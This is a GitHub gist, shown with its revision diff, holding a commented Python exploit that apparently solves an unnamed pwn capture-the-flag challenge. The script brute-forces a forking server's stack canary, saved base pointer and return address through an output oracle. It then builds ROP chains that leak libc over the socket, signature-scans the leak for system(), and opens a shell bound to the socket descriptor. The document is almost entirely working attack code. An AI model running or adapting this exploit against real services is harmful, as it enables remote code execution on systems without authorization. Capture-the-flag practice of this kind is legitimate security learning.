Last active
February 22, 2019 20:11
-
-
Save thedroidgeek/342785f1dc30a1f72bd1282ef945c00f to your computer and use it in GitHub Desktop.
Revisions
-
thedroidgeek revised this gist
Feb 22, 2019 . 1 changed file with 22 additions and 19 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -18,10 +18,6 @@ import subprocess def syncstdin(o): while True: line = sys.stdin.readline() @@ -70,33 +66,38 @@ def sig_scan(buf, sig): # extract byte array + mask from sig string str_bytes = sig.split() for sb in str_bytes: if sb == '?': mask.append(False) bytes += '\0' else: mask.append(True) bytes += chr(int(sb[0:2], 16)) # buffer can't be smaller than sig if len(buf) < len(mask): return None # scan the supplied buffer for i in range(len(buf)-(len(mask)-1)): for j in range(len(mask)): if mask[j] and buf[i+j] != bytes[j]: break if j == len(mask)-1: return i return None def main(): if len(sys.argv) != 3: print('usage: ' + sys.argv[0] + ' [host] [port]') exit() global host host = sys.argv[1] global port port = sys.argv[2] # connectivity test spawn_process().stdin.write('\n') @@ -237,8 +238,8 @@ def main(): exit() print('scanning for system()...') offset = sig_scan(libc_dump, '''48 85 FF 74 0B E9 ? ? ? ? 66 0F 1F 44 00 00 ? ? ? ? ? ? ? ? ? ? ? E8 ? ? ? ? 85 C0 0F 94 C0 48 83 C4 08 0F B6 C0 C3''') if offset is None: print('failed to find system() :(') @@ -255,13 +256,15 @@ def main(): print('popping a shell...') cmd_str = '/bin/sh 0>&4 1>&4 2>&4' p = spawn_process() payload = struct.pack('<Q', check_func + 0xAE) # pop rdi ; ret payload += struct.pack('<Q', stack_addr - 0x79 - len(cmd_str)) # command string address payload += struct.pack('<Q', system_addr) # system() payload += 'A' * (1007 - len(cmd_str)) payload += cmd_str + '\0' # the actual command string, null terminated payload += struct.pack('<Q', stack_canary) payload += struct.pack('<Q', stack_addr - 0x488) # top of rop chain payload += struct.pack('<Q', check_func - 0x269) # leave ; ret @@ -290,4 +293,4 @@ def main(): try: sys.exit(0) except SystemExit: os._exit(0) -
thedroidgeek created this gist
Oct 19, 2018 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,293 @@ #!/usr/bin/env python # # learning python and making use of my ocd by sharing heavily commented scripts # i've probably spent too much time on because i had nothing better to do (part 1): # solution for a pwn challenge (the name of which is intentionally omitted to prevent spoilers) # binary: https://bit.ly/2Pdu90o # # by Sami Alaoui (thedroidgeek) # import os import sys import time import struct import threading import subprocess host = '127.0.0.1' port = '7331' def syncstdin(o): while True: line = sys.stdin.readline() if line: o.stdin.write(line) def syncstdout(o): while True: line = o.stdout.readline() if line: sys.stdout.write(line) def spawn_process(debug=False): # spawn netcat process p = subprocess.Popen(['nc', host, port], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # check we got a valid session if 'Username: ' not in p.stdout.read(10): print('unexpected nc output - check your connectivity') exit() # delay for debugger attachment if debug: print('waiting for debugger (pid: ' + str(p.pid+1) + ')...') time.sleep(10) return p def finalize_payload(payload): # input buffer gets single byte xored with 0xD before memcmp for i in range(len(payload)): payload = payload[:i] + chr(ord(payload[i]) ^ 0xD) + payload[i+1:] return payload def sig_scan(buf, sig): bytes = '' mask = [] # extract byte array + mask from sig string str_bytes = sig.split() for sb in str_bytes: if sb == '?' or sb == '??': mask.append(False) bytes += '\0' else: mask.append(True) bytes += chr(int(sb, 16)) # buffer can't be smaller than sig if len(buf) < len(mask): return None # scan the supplied buffer found = False for i in range(len(buf)-(len(mask)-1)): for j in range(len(mask)): if mask[j] and buf[i+j] != bytes[j]: break if j == len(mask)-1: found = True if found: return i return None def main(): # connectivity test spawn_process().stdin.write('\n') # # stage 1: bruteforce the stack canary, previous base pointer, and the return address # in order to bypass ASLR - this is possible because the process forks itself # on each socket connection, which implies preserving the address space layout # of the parent process, which allows us to guess stack saved info by simply # knowing whether the program successfully returned from a function call, or not # (by expecting output from the caller function - 'Username found!', in our case) # # note: bruteforcing the return address (last 8 bytes), however, is done by using the # check_username function call as an oracle (expect 'Username: ' in stdout): # .text:0000XXXXXXXXXEC5 mov eax, [rbp+fd] # .text:0000XXXXXXXXXEC8 mov edi, eax # .text:0000XXXXXXXXXECA call check_username # we use EC5 as the least significant '3 hex digits' (ASLR doesn't affect these) # to eliminate the chance of accidentally calling unexpected blocking code, # which would otherwise freeze the bruteforcing process... # print('bruteforcing stack canary, saved rbp, and retn address (24 bytes)') print('hang tight, this could take a while...') payload = 'davide' # the username (oracle trigger) payload += 'A' * 1026 # padding oracle_str = 'Username found!' for i in range(24): found = False iter_num = 0x100 if i == 16: # 1st known ret addr byte byte = 0xC5 ^ 0xD print('skipped #' + str(i+1) + ': ' + hex(byte)) payload += chr(byte) continue elif i == 17: # 2nd half-known byte iter_num = 0x10 oracle_str = 'Username: ' # oracle change for j in range(iter_num): p = spawn_process() if i == 17: # most significant nibble curr_byte = j << 4 | 0xE ^ 0xD else: curr_byte = j p.stdin.write(payload + chr(curr_byte)) if oracle_str == p.stdout.read(len(oracle_str)): found = True print('got byte #' + str(i+1) + ': ' + hex(curr_byte)) payload += chr(curr_byte) if i > 16: # don't leave hanging prompts p.stdin.write('\n') break if not found: print('failed to get byte #' + str(i+1) + ' :(') exit() stack_canary = struct.unpack('<Q', payload[1032:1040])[0] ^ 0xD0D0D0D0D0D0D0D stack_addr = struct.unpack('<Q', payload[1040:1048])[0] ^ 0xD0D0D0D0D0D0D0D check_func = struct.unpack('<Q', payload[1048:1056])[0] ^ 0xD0D0D0D0D0D0D0D print('canary: ' + hex(stack_canary)) print('saved rbp: ' + hex(stack_addr)) print('check_username call @ ' + hex(check_func)) # # stage 2: leak a libc function's address to bypass ASLR on libc # using a rop chain that calls write(4, ...) on a function's .plt.got entry # note that '4' is the file descriptor returned from the socket accept() call # print('leaking a libc address from .plt.got...') p = spawn_process() payload = struct.pack('<Q', check_func + 0xAE) # pop rdi ; ret payload += struct.pack('<Q', 4) # 1st arg (rdi): file descriptor (socket) payload += struct.pack('<Q', check_func + 0xAC) # pop rsi ; pop r15 ; ret payload += struct.pack('<Q', check_func + 0x2011C3) # 2nd arg (rsi): buffer (atoi() entry on .plt.got) payload += struct.pack('<Q', 0) # r15, unused payload += struct.pack('<Q', check_func - 0x372) # pop rdx ; ret payload += struct.pack('<Q', 8) # 3rd arg (rdx): count (sizeof(void*)) payload += struct.pack('<Q', check_func - 0x5B5) # write() payload += 'A' * 968 payload += struct.pack('<Q', stack_canary) payload += struct.pack('<Q', stack_addr - 0x488) # top of rop chain (saved rbp) payload += struct.pack('<Q', check_func - 0x269) # leave ; ret (to rewind stack) p.stdin.write(finalize_payload(payload)) libc_atoi = struct.unpack('<Q', p.stdout.read(8))[0] print('atoi @ ' + hex(libc_atoi)) # # stage 3: leak memory around the libc function to scan for system() with a signature # since libc versions (and therefore offsets) differ across machines/distros # print('leaking 0x40000 bytes of libc memory...') p = spawn_process() payload = struct.pack('<Q', check_func + 0xAE) # pop rdi ; ret payload += struct.pack('<Q', 4) # file descriptor payload += struct.pack('<Q', check_func + 0xAC) # pop rsi ; pop r15 ; ret payload += struct.pack('<Q', libc_atoi - 0x20000) # buffer payload += struct.pack('<Q', 0) # r15 payload += struct.pack('<Q', check_func - 0x372) # pop rdx ; ret payload += struct.pack('<Q', 0x40000) # count payload += struct.pack('<Q', check_func - 0x5B5) # write() payload += 'A' * 968 payload += struct.pack('<Q', stack_canary) payload += struct.pack('<Q', stack_addr - 0x488) # top of rop chain payload += struct.pack('<Q', check_func - 0x269) # leave ; ret p.stdin.write(finalize_payload(payload)) libc_dump = p.stdout.read(0x40000) if len(libc_dump) == 0: print('failed to receive bytes :(') exit() print('scanning for system()...') offset = sig_scan(libc_dump, '''48 85 FF 74 0B E9 ? ? ? ? 66 0F 1F 44 00 00 48 8D 3D ? ? ? ? 48 83 EC 08 E8 ? ? ? ? 85 C0 0F 94 C0 48 83 C4 08 0F B6 C0 C3''') if offset is None: print('failed to find system() :(') exit() system_addr = libc_atoi + offset - 0x20000 print('found system() at offset ' + hex(offset) + ' (' + hex(system_addr) + ')') # # stage 4: spawn a shell with stdin, stdout and stderr all redirected to # to the socket file descriptor (4), so we can actually interact with it # print('popping a shell...') p = spawn_process() payload = struct.pack('<Q', check_func + 0xAE) # pop rdi ; ret payload += struct.pack('<Q', stack_addr - 0x8F) # command string address payload += struct.pack('<Q', system_addr) # system() payload += 'A' * 985 payload += '/bin/sh 0>&4 1>&4 2>&4\0' # the actual command string payload += struct.pack('<Q', stack_canary) payload += struct.pack('<Q', stack_addr - 0x488) # top of rop chain payload += struct.pack('<Q', check_func - 0x269) # leave ; ret p.stdin.write(finalize_payload(payload)) # hi linux p.stdin.write('uname -a\n') # emulate an interactive shell stdint = threading.Thread(target=syncstdin, args=(p,)) stdoutt = threading.Thread(target=syncstdout, args=(p,)) stdint.daemon = True stdoutt.daemon = True stdint.start() stdoutt.start() # wait for nc session to terminate p.wait() if __name__ == '__main__': try: main() except KeyboardInterrupt: try: sys.exit(0) except SystemExit: os._exit(0)